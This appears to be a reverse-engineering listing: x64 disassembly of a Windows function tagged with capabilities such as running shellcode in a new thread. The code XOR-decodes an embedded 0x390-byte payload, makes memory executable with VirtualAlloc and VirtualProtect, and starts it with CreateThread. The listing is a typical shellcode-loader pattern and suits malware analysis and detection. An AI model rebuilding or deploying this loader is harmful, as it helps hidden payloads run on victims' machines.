Function at 0x140003610
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x430
mov rax, qword [0x140067190]
xor rax, rsp
mov qword [rsp + 0x420], rax
lea rdx, [rsp + 0x80]
lea rax, [0x14005c420]
mov edi, 7
mov ecx, edi
nop
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rcx, 1
jne 0x140003650
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movzx ecx, byte [rax + 0x10]
mov byte [rdx + 0x10], cl
mov ecx, 0x390
call fcn.14001e004
mov rcx, rax
xor esi, esi
mov r9d, esi
add rax, 0x38f
lea rdx, [rsp + 0x40f]
cmp rcx, rdx
ja 0x1400036ee
lea rdx, [rsp + 0x80]
cmp rax, rdx
jb 0x1400036ee
lea r8, [rsp + 0x80]
sub r8, rcx
jmp 0x140003761
movdqa xmm2, xmmword [0x14005cb20]
lea rax, [rcx + 0x20]
lea r8, [rsp + 0x80]
sub r8, rcx
lea rdx, [rsp + 0x90]
sub rdx, rcx
mov r10d, 0xe
mov r9d, 0x380
nop dword [rax]
movdqu xmm0, xmmword [r8 + rax - 0x20]
xorps xmm0, xmm2
movdqu xmmword [rax - 0x20], xmm0
movdqu xmm1, xmmword [rdx + rax - 0x20]
xorps xmm1, xmm2
movdqu xmmword [rax - 0x10], xmm1
movdqu xmm0, xmmword [r8 + rax]
xorps xmm0, xmm2
movdqu xmmword [rax], xmm0
movdqu xmm1, xmmword [rdx + rax]
xorps xmm1, xmm2
movdqu xmmword [rax + 0x10], xmm1
lea rax, [rax + 0x40]
sub r10, 1
jne 0x140003720
add rcx, r9
mov edx, 0x390
sub rdx, r9
nop dword [rax]
movzx eax, byte [r8 + rcx]
xor al, 0x89
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140003770
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rsi
lea r8d, [rdx + 0x18]
lea rdx, str.KPZuhTI0GMTfHkg58VED_w
lea rcx, [rsp + 0x60]
call fcn.140004760
nop
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.140003e70
mov r8, rax
lea rcx, [rsp + 0x80]
call fcn.140002f80
mov rbx, rax
mov edx, 0x390
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
test rax, rax
jne 0x140003830
lea rdx, str.Memory_allocation_failed
lea rcx, [0x14006abe0]
call fcn.140004470
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004de0
movzx edx, al
mov rcx, rbx
call fcn.140004c30
mov rcx, rbx
call fcn.140004ad0
lea esi, [rbp + 1]
jmp 0x14000395f
movups xmm0, xmmword [rbx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rbx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rbx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rbx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rbx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rbx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rbx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rbx, [rbx + 0x80]
sub rdi, 1
jne 0x140003830
movups xmm0, xmmword [rbx]
movups xmmword [rax], xmm0
mov dword [rsp + 0x58], esi
lea r9, [rsp + 0x58]
mov edx, 0x390
lea r8d, [rdi + 0x20]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400038c3
lea rdx, str.Memory_protection_failed
lea rcx, [0x14006abe0]
call fcn.140004470
mov rdx, qword [rax]
movsxd rcx, dword [rdx + 4]
jmp 0x1400038fe
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
mov r8, rbp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x140003936
lea rdx, str.Thread_creation_failed
lea rcx, [0x14006abe0]
call fcn.140004470
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov rbx, rax
mov dl, 0xa
add rcx, rax
call fcn.140004de0
movzx edx, al
mov rcx, rbx
call fcn.140004c30
mov rcx, rbx
call fcn.140004ad0
mov r8d, 0x8000
xor edx, edx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov esi, 1
jmp 0x14000395f
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140003998
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003993
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400039c3
call fcn.14001dfc0
mov eax, esi
mov rcx, qword [rsp + 0x420]
xor rcx, rsp
call fcn.14001dfa0
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call fcn.14002d024
int3